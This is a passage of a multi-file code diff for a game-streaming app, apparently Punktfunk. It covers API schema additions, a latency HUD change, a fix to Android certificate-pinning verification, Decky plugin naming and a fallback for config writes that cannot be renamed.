"description": "What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big\nPicture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,\nleases and lists exactly like a game (design D4), and clients that don't know the field render it\nas a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged\nfor every entry that doesn't opt in.",
|
||||
"enum": [
|
||||
"game",
|
||||
"launcher"
|
||||
]
|
||||
},
|
||||
"GameSession": {
|
||||
"type": "string",
|
||||
"description": "How a session that **launches a game** (a library id on the Hello / apps.json / Decky pin) is\nserved (`design/gamemode-and-dedicated-sessions.md` §5.2). Orthogonal to the preset/lifecycle axes\n— a top-level [`DisplayPolicy`] field, NOT part of [`EffectivePolicy`], so a preset never clobbers\nit. Linux-only in effect (a launching Windows session opens into the one desktop).",
|
||||
@@ -6334,6 +6436,13 @@
|
||||
"title"
|
||||
],
|
||||
"properties": {
|
||||
"category": {
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
],
|
||||
"description": "What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`\nbecause it describes the plugin, not its surface. The console knows one value today —\n`library` — which it filters **out of the nav**: six installed scanner plugins would otherwise\nflood the sidebar, and their real entry point is the Game sources surface (design D5). A\nlibrary plugin that genuinely wants its own page (rom-manager, which is much more than a\nscanner) simply omits the category."
|
||||
},
|
||||
"title": {
|
||||
"type": "string",
|
||||
"description": "Human-readable title for the console nav entry (1–64 chars; control chars stripped)."
|
||||
@@ -6366,6 +6475,13 @@
|
||||
"title"
|
||||
],
|
||||
"properties": {
|
||||
"category": {
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
],
|
||||
"description": "The plugin's kind — see [`PluginRegistration::category`]."
|
||||
},
|
||||
"id": {
|
||||
"type": "string"
|
||||
},
|
||||
@@ -6604,6 +6720,10 @@
|
||||
},
|
||||
"description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config."
|
||||
},
|
||||
"role": {
|
||||
"$ref": "#/components/schemas/GameRole",
|
||||
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin\nemits its `launchers(cfg)` entries with `role: \"launcher\"`."
|
||||
},
|
||||
"title": {
|
||||
"type": "string"
|
||||
}
|
||||
@@ -6780,26 +6900,46 @@
|
||||
},
|
||||
"ScannerInfo": {
|
||||
"type": "object",
|
||||
"description": "One installed-store scanner this host build supports, with its enable state — the unit the\nconsole renders a toggle for. The list is platform-gated at compile time (the scanners are),\nso the console never shows a toggle that cannot do anything on this host.",
|
||||
"description": "One **game source** on this host, with its enable state — the unit the console renders a toggle\nfor. A source is either a scanner compiled into this build or a plugin that reconciles entries in\n(WP2.6); the console treats them identically, which is what makes the extraction invisible.",
|
||||
"required": [
|
||||
"id",
|
||||
"label",
|
||||
"enabled"
|
||||
"enabled",
|
||||
"origin"
|
||||
],
|
||||
"properties": {
|
||||
"enabled": {
|
||||
"type": "boolean",
|
||||
"description": "Whether this host runs the scanner (default true)."
|
||||
"description": "Whether this host runs the source (default true)."
|
||||
},
|
||||
"entries": {
|
||||
"type": [
|
||||
"integer",
|
||||
"null"
|
||||
],
|
||||
"description": "How many entries this source currently contributes. `None` for a built-in scanner, whose\ncount would mean walking every launcher's files just to render a toggle.",
|
||||
"minimum": 0
|
||||
},
|
||||
"id": {
|
||||
"type": "string",
|
||||
"description": "Stable scanner id — the same string the scanner's entries carry in their `store` field.",
|
||||
"description": "Stable source id — the same string this source's entries carry in their `store` field. For a\nplugin source it is also its provider id and its store claim: one string, by construction, so\na user's disabled state survives a built-in scanner being replaced by its plugin.",
|
||||
"example": "steam"
|
||||
},
|
||||
"label": {
|
||||
"type": "string",
|
||||
"description": "Human-facing name for the console toggle.",
|
||||
"example": "Steam"
|
||||
},
|
||||
"origin": {
|
||||
"$ref": "#/components/schemas/SourceOrigin",
|
||||
"description": "Where the source comes from: `builtin` (a scanner in this host build) or `plugin`."
|
||||
},
|
||||
"provider": {
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
],
|
||||
"description": "The provider id backing a `plugin` source — absent for a built-in scanner."
|
||||
}
|
||||
}
|
||||
},
|
||||
@@ -6962,6 +7102,14 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"SourceOrigin": {
|
||||
"type": "string",
|
||||
"description": "Where a [`ScannerInfo`] comes from.",
|
||||
"enum": [
|
||||
"builtin",
|
||||
"plugin"
|
||||
]
|
||||
},
|
||||
"SourceView": {
|
||||
"type": "object",
|
||||
"description": "A configured catalog source and how its last refresh went.",
|
||||
|
||||
@@ -26,13 +26,25 @@ import kotlin.math.roundToInt
|
||||
* presentsWindow, presenterActive, feedP50Ms, codecP50Ms, skippedOverflowWindow]`. Every read
|
||||
* is length-guarded, so an older native lib simply omits the lines it can't feed.
|
||||
*
|
||||
* The shown `display` and `end-to-end` numbers EXCLUDE the OS present floor (see [osFloorMs]) at
|
||||
* every tier, and the detailed tier names what was excluded on its own line. The principle is the
|
||||
* Apple client's: metrics report what Punktfunk controls, so the compositor's own latch and scanout
|
||||
* — which no client can pace under — is reported rather than charged. It also stops the HUD reading
|
||||
* worse than it is: the usual Android streaming overlays stop measuring at decode-complete, so a
|
||||
* headline that carried the compositor's wait was compared against numbers that never contained it.
|
||||
*
|
||||
* The RAW figures are not lost — the native 1 Hz `pf.present` logcat line keeps `paceMs`, `latchMs`
|
||||
* and `e2eMs` unshaved, so a HUD-off A/B and any cross-session comparison still work off the
|
||||
* untouched numbers.
|
||||
*
|
||||
* [verbosity] selects how many lines render (each tier a superset of the last — see
|
||||
* [StatsVerbosity]):
|
||||
* - [StatsVerbosity.COMPACT] — one line, `fps · end-to-end ms · Mb/s` (+ a loss flag).
|
||||
* - [StatsVerbosity.NORMAL] — the res/fps/Mb·s line, the end-to-end p50/p95 headline, and the
|
||||
* reliability counters (18–21) when nonzero.
|
||||
* - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (10–13), and the
|
||||
* stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero).
|
||||
* - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (10–13), the
|
||||
* stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero),
|
||||
* and the excluded-floor line when one was measured.
|
||||
* [StatsVerbosity.OFF] renders nothing. Older native layouts simply omit the lines they lack (the
|
||||
* counter line falls back to the cumulative `lostTotal` at index 9 on a pre-window lib).
|
||||
*/
|
||||
@@ -95,9 +107,15 @@ internal fun StatsOverlay(
|
||||
// equation gains its `display` term; otherwise (older lib / no callbacks) the endpoint
|
||||
// honestly stays capture→decoded — the equation always tiles the headline interval.
|
||||
val dispValid = s.size >= 26 && s[22] != 0.0
|
||||
// The OS present floor this window (see [osFloorMs]) is excluded from every shown
|
||||
// display / end-to-end number, at every tier — it is pipeline depth no client can pace
|
||||
// under, so charging it to Punktfunk made our HUD read worse than clients that simply
|
||||
// never measure it. 0.0 when unmeasured, which leaves the numbers exactly as raw as
|
||||
// they were.
|
||||
val floorMs = osFloorMs(s)
|
||||
val tag = if (skew) "" else " (same-host clock)"
|
||||
val (p50, p95, endpoint) = if (dispValid) {
|
||||
Triple(s[24], s[25], "capture→displayed")
|
||||
Triple(shave(s[24], floorMs), shave(s[25], floorMs), "capture→displayed")
|
||||
} else {
|
||||
Triple(s[2], s[3], "capture→decoded")
|
||||
}
|
||||
@@ -120,6 +138,11 @@ internal fun StatsOverlay(
|
||||
// dropping/serializing, an fps deficit is upstream.
|
||||
val split = s.size >= 30 && s[29] != 0.0 && (s[26] > 0 || s[27] > 0)
|
||||
val displayTerm = when {
|
||||
// Floor excluded: what remains of the `display` term is the half Punktfunk
|
||||
// owns (the presenter's pace wait), and the excluded line below carries the
|
||||
// latch — printing the split too would report the same milliseconds twice.
|
||||
dispValid && floorMs > 0 ->
|
||||
" + display ${"%.1f".format(shave(s[23], floorMs))}"
|
||||
dispValid && split ->
|
||||
" + display ${"%.1f".format(s[23])} " +
|
||||
"(pace ${"%.1f".format(s[26])} + latch ${"%.1f".format(s[27])})"
|
||||
@@ -143,16 +166,14 @@ internal fun StatsOverlay(
|
||||
"= $hostTerms + $decodeTerm$displayTerm$presents",
|
||||
Color.White,
|
||||
)
|
||||
// Metric fairness: the Apple client's HUD shaves ~2 refresh periods of OS
|
||||
// pipeline floor off its shown display/end-to-end; Android shows raw. This twin
|
||||
// applies the same shave so iPhone↔Android HUD numbers compare directly.
|
||||
if (dispValid && hz > 0) {
|
||||
val shave = 2000.0 / hz
|
||||
// What the numbers above leave out, named — the Apple client's
|
||||
// `os present +N excluded` line, same wording so the two HUDs read alike.
|
||||
// (This replaces the old "≈ Apple-HUD equiv" twin: both clients now shave, and
|
||||
// Android's shave is measured rather than assumed at 2 refresh periods.)
|
||||
if (floorMs > 0) {
|
||||
statLine(
|
||||
"≈ Apple-HUD equiv: end-to-end " +
|
||||
"${"%.1f".format((s[24] - shave).coerceAtLeast(0.0))} · display " +
|
||||
"${"%.1f".format((s[23] - shave).coerceAtLeast(0.0))} (−2 refresh)",
|
||||
Color(0xFFA8D8B8),
|
||||
"os present +${"%.1f".format(floorMs)} excluded (display pipeline minimum)",
|
||||
Color(0xFF9AA6B8),
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -167,6 +188,37 @@ private fun statLine(text: String, color: Color) {
|
||||
Text(text, color = color, fontFamily = FontFamily.Monospace, fontSize = 12.sp)
|
||||
}
|
||||
|
||||
/**
|
||||
* The OS present floor to exclude from the shown `display` / `end-to-end` numbers, ms — the
|
||||
* measured `latch` p50 at index 27, i.e. release→`OnFrameRendered`: SurfaceFlinger's own latch and
|
||||
* scanout. That is compositor pipeline depth no client can pace under, so it is reported as
|
||||
* excluded rather than charged to Punktfunk — the Apple client's policy since its presentation
|
||||
* rebuild, where the same floor is measured from the display link's vend lead.
|
||||
*
|
||||
* Measured, not assumed: the previous Android treatment used a fixed `2000/hz` twin, but the latch
|
||||
* varies with panel rate, tunnelled playback and the vendor's low-latency mode (~21 ms p50 observed
|
||||
* where the ~2-interval model predicts less), and this term self-adapts to all three. It is also
|
||||
* available on every render path — the presenter's and both legacy release-immediately ones — since
|
||||
* the release stamp it starts from is parked on every render, so it does not depend on
|
||||
* `presenterActive` (29).
|
||||
*
|
||||
* `0.0` means unmeasured — no display stage this window (an older native lib, API < 33, or a
|
||||
* platform that refused the callback), or no latch sample paired — and every caller then leaves its
|
||||
* number raw, which is the honest fallback: we exclude only what we actually measured.
|
||||
*/
|
||||
private fun osFloorMs(s: DoubleArray): Double {
|
||||
val dispValid = s.size >= 26 && s[22] != 0.0
|
||||
if (!dispValid || s.size < 28) return 0.0
|
||||
return s[27].coerceAtLeast(0.0)
|
||||
}
|
||||
|
||||
/**
|
||||
* Subtract the excluded [floorMs] from a shown latency [ms], clamped at zero — the percentiles are
|
||||
* drawn from different sample sets (a p50 latch against a p50/p95 end-to-end), so the difference can
|
||||
* legitimately go slightly negative on a well-paced window without anything being wrong.
|
||||
*/
|
||||
private fun shave(ms: Double, floorMs: Double): Double = (ms - floorMs).coerceAtLeast(0.0)
|
||||
|
||||
/**
|
||||
* The single [StatsVerbosity.COMPACT] line: `238 fps · 1.3 ms · 921 Mb/s`. The end-to-end p50 term
|
||||
* is dropped when no in-range latency sample landed (`latValid` false), and a loss flag
|
||||
@@ -174,8 +226,9 @@ private fun statLine(text: String, color: Color) {
|
||||
* one reliability signal worth surfacing even at the tersest tier.
|
||||
*/
|
||||
private fun compactLine(s: DoubleArray, latValid: Boolean): String {
|
||||
// Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window.
|
||||
val e2eP50 = if (s.size >= 26 && s[22] != 0.0) s[24] else s[2]
|
||||
// Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window,
|
||||
// less the excluded OS present floor — the same number the richer tiers headline.
|
||||
val e2eP50 = if (s.size >= 26 && s[22] != 0.0) shave(s[24], osFloorMs(s)) else s[2]
|
||||
val parts = buildList {
|
||||
add("${s[0].roundToInt()} fps")
|
||||
if (latValid) add("${"%.1f".format(e2eP50)} ms")
|
||||
|
||||
@@ -355,9 +355,11 @@ internal fun StreamScene(verbosity: StatsVerbosity = StatsVerbosity.DETAILED) {
|
||||
// dispValid, displayP50, e2eDispP50, e2eDispP95].
|
||||
// 10/9/16/1 = a 10-bit BT.2020 PQ (HDR) 4:2:0 feed so the DETAILED HUD renders its
|
||||
// video-feed line; the display stage is valid (dispValid 1) so the headline is the
|
||||
// directly-measured capture→displayed pair (1.8/2.6) and the Phase-2 stage terms
|
||||
// (host 0.6 + network 0.3 + decode 0.4 + display 0.5) tile it, rendering the full split
|
||||
// equation; the decoder label shows the ranked low-latency decoder. Light per-window loss
|
||||
// directly-measured capture→displayed pair, less the excluded OS present floor (the 0.3
|
||||
// latch p50) — 1.5/2.3 shown from 1.8/2.6 raw — and the Phase-2 stage terms
|
||||
// (host 0.6 + network 0.3 + decode 0.4 + display 0.2) tile the shaved headline, with the
|
||||
// `os present +0.3 excluded` line naming what came off; the decoder label shows the ranked
|
||||
// low-latency decoder. Light per-window loss
|
||||
// (lost 2 · skipped 1 · FEC 5 of 238) so the reliability line (NORMAL/DETAILED) and the
|
||||
// compact loss flag both render.
|
||||
StatsOverlay(
|
||||
|
||||
@@ -127,8 +127,14 @@ object LibraryClient {
|
||||
* An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by
|
||||
* SHA-256(DER) — reused for BOTH the library fetch and the cover-art loads (so a paired client
|
||||
* reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and
|
||||
* defers to normal public trust for any other origin (an external CDN URL); the hostname verifier
|
||||
* accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise.
|
||||
* defers to normal public trust for any other origin (an external CDN URL).
|
||||
*
|
||||
* The two checks are only sound TOGETHER, and the composition is the point: the trust manager
|
||||
* cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the
|
||||
* hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted
|
||||
* certificate for any name is accepted for the host — which is exactly what 2026-08-05 review M-2
|
||||
* found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the
|
||||
* default verifier; the pin is its only credential, on purpose.
|
||||
*/
|
||||
fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient {
|
||||
val clientCert = CertificateFactory.getInstance("X.509")
|
||||
@@ -162,7 +168,26 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String)
|
||||
|
||||
val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier()
|
||||
val verifier = HostnameVerifier { hostname, session ->
|
||||
hostname == host || defaultVerifier.verify(hostname, session)
|
||||
if (hostname == host) {
|
||||
// The PINNED host fails closed: only the pinned leaf is acceptable for this name.
|
||||
//
|
||||
// This used to be a bare `hostname == host`, which composed with the trust manager's
|
||||
// system-CA fall-through into "any publicly-trusted certificate, for any name, is
|
||||
// accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A
|
||||
// MITM with any free CA-issued cert intercepted the connection, received the client's
|
||||
// mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs.
|
||||
// The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here;
|
||||
// only Android did not.
|
||||
try {
|
||||
sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned
|
||||
} catch (_: Exception) {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
// Any other origin (an external CDN art URL) is ordinary public trust: the system
|
||||
// trust manager validated the chain, and this checks the name against it.
|
||||
defaultVerifier.verify(hostname, session)
|
||||
}
|
||||
}
|
||||
|
||||
return OkHttpClient.Builder()
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
{
|
||||
"name": "punktfunk",
|
||||
"name": "Punktfunk",
|
||||
"author": "enrico",
|
||||
"flags": ["debug"],
|
||||
"api_version": 1,
|
||||
|
||||
@@ -12,7 +12,9 @@
|
||||
set -euo pipefail
|
||||
HERE="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
DECK="${DECK:?set DECK=deck@<ip>}"
|
||||
NAME="$(python3 -c 'import json;print(json.load(open("'"$HERE"'/plugin.json"))["name"])')"
|
||||
# The on-disk plugin DIR (what scripts/package.sh staged into out/), not plugin.json "name" —
|
||||
# that field is the brand-cased label Decky shows in its plugin list. See package.sh's header.
|
||||
NAME=punktfunk
|
||||
STAGE_LOCAL="$HERE/out/$NAME"
|
||||
[ -d "$STAGE_LOCAL" ] || { echo "$STAGE_LOCAL missing — run scripts/package.sh first" >&2; exit 1; }
|
||||
|
||||
|
||||
@@ -5,9 +5,13 @@
|
||||
# package.json,decky.pyi,LICENSE,README.md}
|
||||
# out/punktfunk/ (the same tree, unzipped — rsync this with scripts/deploy.sh)
|
||||
#
|
||||
# Decky extracts the zip with --strip-components=1, so the single top-level dir MUST equal
|
||||
# plugin.json "name". Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs
|
||||
# only bash, python3 and zip.
|
||||
# The single top-level dir is the plugin's ON-DISK folder name (Decky extracts the zip as-is,
|
||||
# so the dir in the zip becomes ~/homebrew/plugins/<dir>). It is deliberately NOT read from
|
||||
# plugin.json "name": that field is the user-visible label ("Punktfunk", brand-cased, shown in
|
||||
# Decky's plugin list) and Decky locates an installed plugin by MATCHING it, never by the folder
|
||||
# name. Keeping the folder lowercase means a rename of the label can't strand the old directory
|
||||
# next to a new one (which would show up as two plugins).
|
||||
# Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs only bash, python3 and zip.
|
||||
set -euo pipefail
|
||||
HERE="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
cd "$HERE"
|
||||
@@ -15,7 +19,7 @@ cd "$HERE"
|
||||
[ -f dist/index.js ] || { echo "dist/index.js missing — run 'pnpm build' first" >&2; exit 1; }
|
||||
[ -f LICENSE ] || { echo "LICENSE missing (required by the Decky store)" >&2; exit 1; }
|
||||
|
||||
NAME="$(python3 -c 'import json;print(json.load(open("plugin.json"))["name"])')"
|
||||
NAME=punktfunk # the on-disk plugin dir (see the header) — NOT plugin.json "name"
|
||||
VER="$(python3 -c 'import json;print(json.load(open("package.json"))["version"])')"
|
||||
|
||||
STAGE="$(mktemp -d)"
|
||||
|
||||
@@ -122,6 +122,25 @@ function advertMatchesSaved(a: DiscoveredHost, s: SavedHost): boolean {
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* The label a saved row shows.
|
||||
*
|
||||
* A saved record whose name IS its own address is a PLACEHOLDER, not a choice: `hosts add`
|
||||
* falls back to the address when the pairing path had nothing better, so the row ends up
|
||||
* captioned with the same string it already prints underneath. When the box is on the air it
|
||||
* is advertising its actual hostname — prefer that, and the row reads "home-worker-5" instead
|
||||
* of "192.168.1.21".
|
||||
*
|
||||
* A real saved name always wins over the advert, even a stale one: it may be a name the user
|
||||
* chose, and a live advert must never quietly overwrite that. Compared against the SAVED
|
||||
* address, so a host that moved DHCP lease still recognises its old address as a placeholder.
|
||||
*/
|
||||
function hostLabel(s: SavedHost, advert?: DiscoveredHost): string {
|
||||
const placeholder = !s.name || s.name === s.addr || s.name === `${s.addr}:${s.port}`;
|
||||
if (!placeholder) return s.name;
|
||||
return advert?.name || s.name || s.addr;
|
||||
}
|
||||
|
||||
/**
|
||||
* Join the saved store and the live browse into the rows the panel draws.
|
||||
*
|
||||
@@ -134,7 +153,7 @@ export function mergeHosts(saved: SavedHost[], discovered: DiscoveredHost[]): Ho
|
||||
// Prefer a live advert's address: the host may have moved since it was last saved.
|
||||
const advert = discovered.find((a) => advertMatchesSaved(a, s));
|
||||
return {
|
||||
name: s.name || s.addr,
|
||||
name: hostLabel(s, advert),
|
||||
addr: advert?.addr ?? s.addr,
|
||||
port: advert?.port ?? s.port,
|
||||
fp: s.fp_hex,
|
||||
@@ -387,7 +406,10 @@ export async function applyUpdate(
|
||||
// before any result could arrive — so never await it. Decky shows its own confirm prompt.
|
||||
void backend.callable("utilities/install_plugin")(
|
||||
info.artifact,
|
||||
"punktfunk",
|
||||
// The name Decky uninstalls before extracting the new zip — it locates the folder by
|
||||
// matching plugin.json "name", so this must equal THIS build's plugin.json name (the
|
||||
// brand-cased one), not the lowercase on-disk dir.
|
||||
"Punktfunk",
|
||||
info.latest,
|
||||
info.hash,
|
||||
INSTALL_TYPE_UPDATE,
|
||||
|
||||
@@ -337,9 +337,11 @@ export default definePlugin(() => {
|
||||
// controller config. Fire-and-forget: cosmetic library upkeep must never block plugin load.
|
||||
void ensureGamepadUiShortcut();
|
||||
return {
|
||||
// `name` is the plugin's INTERNAL id — it must stay in sync with plugin.json (the loader
|
||||
// keys plugins by it), so it stays lowercase; user-facing strings say "Punktfunk".
|
||||
name: "punktfunk",
|
||||
// `name` must stay in sync with plugin.json (the loader keys plugins by it) — and it is
|
||||
// USER-VISIBLE: Decky labels the entry in its plugin list with it, so it carries the brand
|
||||
// case. Decky finds an installed plugin by matching plugin.json "name" (never the folder
|
||||
// name), so this is independent of the on-disk dir, which stays lowercase `punktfunk`.
|
||||
name: "Punktfunk",
|
||||
// `staticClasses?.Title` is guarded so a future client that drops the export can't throw
|
||||
// at plugin-load time (an error boundary only catches render-time, not load-time, errors).
|
||||
titleView: <div className={staticClasses?.Title}>Punktfunk</div>,
|
||||
|
||||
@@ -70,9 +70,18 @@ declare const appStore:
|
||||
* entry from a false "missing". A confident null means the shortcut was deleted → recreate. */
|
||||
function shortcutStillExists(appId: number): boolean {
|
||||
try {
|
||||
const get = appStore?.GetAppOverviewByAppID;
|
||||
if (!get) return true; // no way to verify — preserve the reuse path
|
||||
return get(appId) != null;
|
||||
// Call it as a METHOD on appStore — NEVER as an extracted function. Its implementation
|
||||
// reads the store's own state (`this.m_mapApps`), so `const get = appStore.GetAppOverview…;
|
||||
// get(id)` throws on the lost `this`, and the catch below turns that into a permanent
|
||||
// "true". That is not a stale-data bug but a total one: the guard then answers "still
|
||||
// exists" for EVERY appId, so a dangling id is never dropped, the reuse path repoints a
|
||||
// dead shortcut (silent no-ops), and "recreate" reports success having done nothing.
|
||||
// `typeof` first: `appStore` is a Steam-injected global, and a bare reference to a missing
|
||||
// one is a ReferenceError that optional chaining does NOT prevent.
|
||||
if (typeof appStore === "undefined" || !appStore?.GetAppOverviewByAppID) {
|
||||
return true; // no way to verify — preserve the reuse path
|
||||
}
|
||||
return appStore.GetAppOverviewByAppID(appId) != null;
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -773,6 +773,7 @@ fn mock_library() -> (
|
||||
title: title.to_string(),
|
||||
art: crate::library::Artwork::default(),
|
||||
platform: None,
|
||||
role: None,
|
||||
};
|
||||
let games = vec![
|
||||
game("steam:570", "steam", "Dota 2"),
|
||||
|
||||
@@ -1911,10 +1911,35 @@ pub(crate) fn settings_page(
|
||||
} else {
|
||||
border(vstack(Vec::<Element>::new())).into()
|
||||
};
|
||||
// Every save on this page is fire-and-forget by design — a failed settings write must
|
||||
// never take a stream down — so a client whose config store rejects writes looks entirely
|
||||
// normal: toggles move, profiles appear, and NOTHING survives a restart. That is exactly
|
||||
// how it reached us from the field ("it's in read-only mode"), with no log file to send
|
||||
// either. When the store is refusing writes, say so, name the path, and stop pretending.
|
||||
//
|
||||
// Same always-mounted-slot discipline as `sheet_slot`: one child in both states, and the
|
||||
// SAME KIND in both (a Border wrapping the bar, versus an empty background-less Border —
|
||||
// which per style.rs is not hit-testable, so it swallows no clicks). Neither a grid child
|
||||
// nor a vstack child is ever added or removed, which is where this reconciler's phantom
|
||||
// bookkeeping breaks.
|
||||
let store_slot: Element = match pf_client_core::trust::store_health::last_error() {
|
||||
Some(err) => border(
|
||||
InfoBar::new("Your changes aren\u{2019}t being saved")
|
||||
.message(format!(
|
||||
"Punktfunk can\u{2019}t write to its settings folder, so nothing on this \
|
||||
page will survive a restart. {err}"
|
||||
))
|
||||
.error()
|
||||
.is_closable(false),
|
||||
)
|
||||
.margin(edges(24.0, 12.0, 28.0, 0.0))
|
||||
.into(),
|
||||
None => border(vstack(Vec::<Element>::new())).into(),
|
||||
};
|
||||
// The bar rides an Auto row above the nav's Star row, so the nav (and the sheet's scrim
|
||||
// over it) still fills the rest of the window.
|
||||
grid(vec![
|
||||
scope_bar.grid_row(0),
|
||||
Element::from(vstack(vec![store_slot, scope_bar])).grid_row(0),
|
||||
Element::from(grid(vec![nav.into(), sheet_slot, confirm])).grid_row(1),
|
||||
])
|
||||
.rows([GridLength::Auto, GridLength::STAR])
|
||||
|
||||
@@ -66,6 +66,20 @@ pub struct GameEntry {
|
||||
/// host's flattened `GameMeta`; the rest of the metadata is not decoded until a UI needs it.
|
||||
#[serde(default)]
|
||||
pub platform: Option<String>,
|
||||
/// `"game"` (the default, and what an older host omits) or `"launcher"` — an entry that opens
|
||||
/// the launcher itself (Steam Big Picture, Heroic) rather than a title. A UI may group these
|
||||
/// separately; one that doesn't renders them as ordinary tiles, which is the intended
|
||||
/// degradation (design D4). Kept a plain string: the host owns the vocabulary, and an unknown
|
||||
/// future value must never fail the whole library decode.
|
||||
#[serde(default)]
|
||||
pub role: Option<String>,
|
||||
}
|
||||
|
||||
impl GameEntry {
|
||||
/// Whether this entry opens a launcher rather than a game.
|
||||
pub fn is_launcher(&self) -> bool {
|
||||
self.role.as_deref() == Some("launcher")
|
||||
}
|
||||
}
|
||||
|
||||
/// Errors surfaced to the UI so it can guide setup (the common case is "not paired yet").
|
||||
|
||||
@@ -91,22 +91,131 @@ fn lock_identity_perms(dir: &std::path::Path, key: &std::path::Path) {
|
||||
let _ = std::fs::set_permissions(key, std::fs::Permissions::from_mode(0o600));
|
||||
}
|
||||
|
||||
/// A sibling temp path unique to this process. The stores below have five whole-file writers
|
||||
/// (WinUI shell, session, console UI, CLI, Decky) and a single shared `.json.tmp` lets two of
|
||||
/// them interleave: on Windows the second `fs::write` hits a sharing violation, and worse, one
|
||||
/// process can rename the OTHER's half-written bytes over the target. The pid keeps each
|
||||
/// writer on its own scratch file; the rename below removes it, so a leftover only survives a
|
||||
/// hard kill.
|
||||
fn temp_sibling(path: &Path) -> PathBuf {
|
||||
let mut name = path.file_name().unwrap_or_default().to_os_string();
|
||||
name.push(format!(".tmp-{}", std::process::id()));
|
||||
path.with_file_name(name)
|
||||
}
|
||||
|
||||
/// Write a config file the safe way: a sibling temp file, then a rename over the target. A
|
||||
/// plain `fs::write` truncates first, so a crash, a full disk or a power cut between truncate
|
||||
/// and the last byte leaves an empty/half file — and these stores are what a client needs to
|
||||
/// find its hosts at all. Rename is atomic within a directory on both Unix and Windows
|
||||
/// (`MoveFileEx` with replace), so a reader ever sees the old file or the new one, never a
|
||||
/// torn one. Same discipline as the host's `session_settings.rs`.
|
||||
///
|
||||
/// **But the rename is not always available, and losing the write is far worse than a torn
|
||||
/// one.** The Windows client ships as an MSIX package, so every path here is rewritten by the
|
||||
/// container's AppData virtualization before it reaches the filesystem — and when the package
|
||||
/// is installed to a secondary drive (Settings ▸ Storage ▸ "New apps will save to: D:"),
|
||||
/// Windows stores that redirected AppData on the *package's* volume, under
|
||||
/// `D:\WpSystem\<SID>\AppData\`. The literal path we name still says `C:\Users\…`, so a rename
|
||||
/// can end up straddling two volumes, and `std::fs::rename` is `MoveFileExW` with
|
||||
/// `MOVEFILE_REPLACE_EXISTING` and *not* `MOVEFILE_COPY_ALLOWED` — a cross-volume move fails
|
||||
/// outright with `ERROR_NOT_SAME_DEVICE`. Creating and writing files works fine, which is why
|
||||
/// such an install starts, streams and pairs happily while every setting and profile silently
|
||||
/// evaporates (field report 2026-08-05: "it's in read-only mode").
|
||||
///
|
||||
/// So a failed rename falls back to writing the target in place. That is exactly what the
|
||||
/// identity files already do a few lines up — and those demonstrably work on the affected
|
||||
/// installs — so the fallback is a path we know resolves. It gives up crash-atomicity for that
|
||||
/// one write and nothing else: the temp+rename stays the normal route everywhere it works.
|
||||
///
|
||||
/// Writes and reads of one literal path cannot disagree under that redirection — Microsoft
|
||||
/// documents a single private-location-first resolution order for both, so whichever layer a
|
||||
/// write lands in is the layer the next read finds. The fallback still verifies by reading
|
||||
/// back: a silent write is the exact bug being fixed here, and this path only runs on an
|
||||
/// install that has already proven it does something unusual.
|
||||
pub(crate) fn write_atomic(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
|
||||
let tmp = path.with_extension("json.tmp");
|
||||
std::fs::write(&tmp, bytes)?;
|
||||
match std::fs::rename(&tmp, path) {
|
||||
Ok(()) => Ok(()),
|
||||
Err(e) => {
|
||||
// Don't leave the temp behind to confuse the next writer (or a backup tool).
|
||||
let _ = std::fs::remove_file(&tmp);
|
||||
Err(e)
|
||||
let tmp = temp_sibling(path);
|
||||
let atomic = std::fs::write(&tmp, bytes).and_then(|()| std::fs::rename(&tmp, path));
|
||||
let Err(e) = atomic else {
|
||||
store_health::clear();
|
||||
return Ok(());
|
||||
};
|
||||
// Don't leave the temp behind to confuse the next writer (or a backup tool).
|
||||
let _ = std::fs::remove_file(&tmp);
|
||||
match std::fs::write(path, bytes) {
|
||||
Ok(()) => {
|
||||
tracing::warn!(
|
||||
path = %path.display(),
|
||||
error = %e,
|
||||
"atomic replace unavailable in this install; wrote the config in place instead",
|
||||
);
|
||||
// Read it straight back. This whole bug was a write that reported success and
|
||||
// vanished, so the fallback does not get to claim success on the strength of an
|
||||
// `Ok(())` alone — on the one layered filesystem we know we run on, that is the
|
||||
// failure mode to be paranoid about. Only on the degraded path, so the normal
|
||||
// route pays nothing.
|
||||
match std::fs::read(path) {
|
||||
Ok(back) if back == bytes => {
|
||||
store_health::clear();
|
||||
Ok(())
|
||||
}
|
||||
Ok(_) => {
|
